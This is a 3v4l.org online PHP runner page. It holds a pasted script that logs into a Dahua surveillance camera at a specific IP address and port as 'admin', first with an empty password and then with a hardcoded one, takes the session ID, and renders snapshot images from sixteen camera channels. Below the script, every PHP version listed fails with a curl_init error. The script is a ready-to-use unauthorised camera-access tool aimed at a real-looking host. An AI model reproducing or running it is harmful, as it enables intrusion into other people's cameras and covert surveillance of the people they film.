3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php function obj2arr($d) { if (is_object($d)) {$d = get_object_vars($d);} if (is_array($d)) {return array_map(__FUNCTION__, $d);} else {return $d;} } $headers = array(); $postdata = '{"method":"global.login","params":{"userName":"admin","password":"","clientType":"Dahua3.0-Web3.0-NOTIE"},"id":10000}'; $cam = curl_init();curl_setopt($cam,CURLOPT_CUSTOMREQUEST, "POST");curl_setopt($cam,CURLOPT_URL,"http://180.211.114.50:8011/RPC2_Login");curl_setopt($cam,CURLOPT_RETURNTRANSFER,true);curl_setopt($cam,CURLOPT_HTTPHEADER, $headers);curl_setopt($cam,CURLOPT_TIMEOUT,60);curl_setopt($cam,CURLOPT_POSTFIELDS, $postdata); $result=obj2arr(json_decode(curl_exec($cam)));$id = $result['session']; //$headers = array('Cookie:DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebCookie=%7B%22username%22%3A%22admin%22%2C%22pswd%22%3A%22%22%2C%22talktype%22%3A%221%22%2C%22logintype%22%3A%220%22%2C%22openall%22%3A%221%22%2C%22loginid%22%3A0%7D; DhWebClientSessionID=' . $id); $postdata = '{"method":"global.login","session":'.$id.',"params":{"userName":"admin","password":"6QNMIQGe","clientType":"Dahua3.0-Web3.0-NOTIE","authorityType":"OldDigest"},"id":10000}:'; curl_setopt($cam,CURLOPT_POSTFIELDS, $postdata); curl_exec($cam);curl_close($cam); for($a =0; $a<=15;$a++) { echo "<img src='http://180.211.114.50:8011/cgi-bin/Snapshot.cgi?channel={$a}&sessionId={$id}' width='352' height='288'>"; } ?>
Output for 7.0.0 - 7.1.0
Fatal error: Uncaught Error: Call to undefined function curl_init() in /in/71g1V:12 Stack trace: #0 {main} thrown in /in/71g1V on line 12
Process exited with code 255.
Output for 5.0.0 - 5.6.28
Fatal error: Call to undefined function curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.3.2 - 4.4.4
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: curl_init() in /in/71g1V on line 12